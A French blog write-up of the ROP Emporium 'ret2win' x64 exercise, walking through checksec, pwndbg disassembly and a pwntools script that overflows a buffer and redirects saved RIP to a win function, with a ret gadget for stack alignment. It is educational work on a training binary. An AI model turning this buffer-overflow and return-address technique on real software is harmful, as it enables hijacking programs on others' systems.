4 minutes
🇫🇷 ROPEmporium - ret2win (x64)
Note
Je suis actuellement entrain d’apprendre le pwn donc il est possible que je fasse des erreurs ou que je dise des choses fausses dans ce post, si vous en voyez n’hésitez pas à me contacter sur discord.
File information
Avant de commencer à regarder dans l’executable, il faut savoir à quoi on s’attaque, on va utiliser file
pour avoir des informations sur le fichier, puis checksec
pour voir les éventuelles sécuritées avec lesquelles il a été compilé
file ret2win
ret2win: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=19abc0b3bb228157af55b8e16af7316d54ab0597, not stripped
On va donc s’attaquer à un executable en 64bit, linké dynamiquement et qui n’est pas strippé
Maintenant le checksec
checksec ret2win
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Exploitation
On va le run et voir ce qu’il se passe
En lisant ce que le programme écrit on apprend plusieurs choses:
- La taille du buffer où est stocké notre input: 32 bytes
- La fonction read() est utilisée pour lire notre input
- read() va lire 56 bytes au maximum
On va pouvoir overflow le buffer puisqu’on peut écrire un nombre de bytes supérieur à la taille du buffer
Voici donc le début de notre exploit:
from pwn import *
context.binary = binary = ELF("./ret2win", checksec=False)
p = process()
p.recv()
padding = b"A"*32
rbp = b"B"*8
payload = padding + rbp
p.sendline(payload)
Ici, on déclare deux variables, une qui correspond au padding nécessaire pour remplir le buffer (padding), et une qui correspond au padding pour overwrite la sauvegarde de rbp
(rbp)
On envoie ensuite notre payload mais en l’occurence ici il ne va rien se passer puisque la sauvegarde de rip
n’a pas été overwrite.
La prochaine étape est de lister les symboles de l’executable pour trouver notre fonction “win” (une fonction qui va nous permettre de lire le flag). Pour faire ça, on peut utiliser pwndbg
par exemple:
pwndbg> info functions
All defined functions:
Non-debugging symbols:
0x0000000000400528 _init
0x0000000000400550 puts@plt
0x0000000000400560 system@plt
0x0000000000400570 printf@plt
0x0000000000400580 memset@plt
0x0000000000400590 read@plt
0x00000000004005a0 setvbuf@plt
0x00000000004005b0 _start
0x00000000004005e0 _dl_relocate_static_pie
0x00000000004005f0 deregister_tm_clones
0x0000000000400620 register_tm_clones
0x0000000000400660 __do_global_dtors_aux
0x0000000000400690 frame_dummy
0x0000000000400697 main
0x00000000004006e8 pwnme
0x0000000000400756 ret2win
0x0000000000400780 __libc_csu_init
0x00000000004007f0 __libc_csu_fini
0x00000000004007f4 _fini
Une fonction sort du lot: ret2win
(située à l’adresse 0x0000000000400756
)
On va donc regarder ce qu’elle fait plus en détail, toujours avec pwndbg
pwndbg> disass ret2win
Dump of assembler code for function ret2win:
0x0000000000400756 <+0>: push rbp
0x0000000000400757 <+1>: mov rbp,rsp
0x000000000040075a <+4>: mov edi,0x400926
0x000000000040075f <+9>: call 0x400550 <puts@plt>
0x0000000000400764 <+14>: mov edi,0x400943
0x0000000000400769 <+19>: call 0x400560 <system@plt>
0x000000000040076e <+24>: nop
0x000000000040076f <+25>: pop rbp
0x0000000000400770 <+26>: ret
End of assembler dump.
Il y a 2 call
, un sur puts
et un sur system
. On voit qu’il passe un argument à system
, situé à l’adresse 0x400943
On va donc regarder ce qui se trouve à cette adresse:
pwndbg> x/s 0x400943
0x400943: "/bin/cat flag.txt"
Ok, donc c’est effectivement notre fonction win, puisqu’elle passe "/bin/cat flag.txt"
en argument dans system()
.
L’idée va donc être d’ajouter l’adresse de cette fonction à la fin de notre payload, pour qu’elle finisse dans la sauvegarde de rip
La sauvegarde de
rip
contient toujours l’adresse de la prochaine instruction à éxecuter. Ici, en réecrivant sa valeur actuelle par l’adresse de la fonctionret2win
, on modifie la prochaine étape du programme en lui faisant appeler une fonction qui ne devait jamais être appelée. On a donc modifié son flux d’éxecution.
On peut compléter notre exploit:
from pwn import *
context.binary = binary = ELF("./ret2win", checksec=False)
p = process()
p.recv()
padding = b"A"*32
rbp = b"B"*8
rip = p64(0x00400756)
payload = padding + rbp + rip
p.sendline(payload)
print("flag:",p.recvall().split(b"\n")[2].decode('utf-8'))
Maintenant, on lance l’exploit et on devrait avoir le flag
Et… le flag n’a pas été print car le programme a segfault
. Puisque je suis sous Ubuntu 22.04, qui est une version ultérieure à la 18.04 je suis affecté par les problèmes de stack alignment (MOVAPS)
Pour régler ça, on peut ajouter un gadget ret
, qu’on va trouver en utilisant ROPgadget
, après notre padding
ROPgadget --binary ret2win | grep ret
0x000000000040053e : ret
Final Payload
Maintenant qu’on a l’addresse du ret
on peut l’ajouter à notre payload, et il devrait fonctionner cette fois. Voici donc la version finale de l’exploit
from pwn import *
context.binary = binary = ELF("./ret2win", checksec=False)
p = process()
p.recv()
padding = b"A"*32
rbp = b"B"*8
rip = p64(0x00400756)
ret = p64(0x000000000040053e)
payload = padding + rbp + ret + rip
p.sendline(payload)
print("flag:",p.recvall().split(b"\n")[2].decode('utf-8'))
Et on a le flag, gg!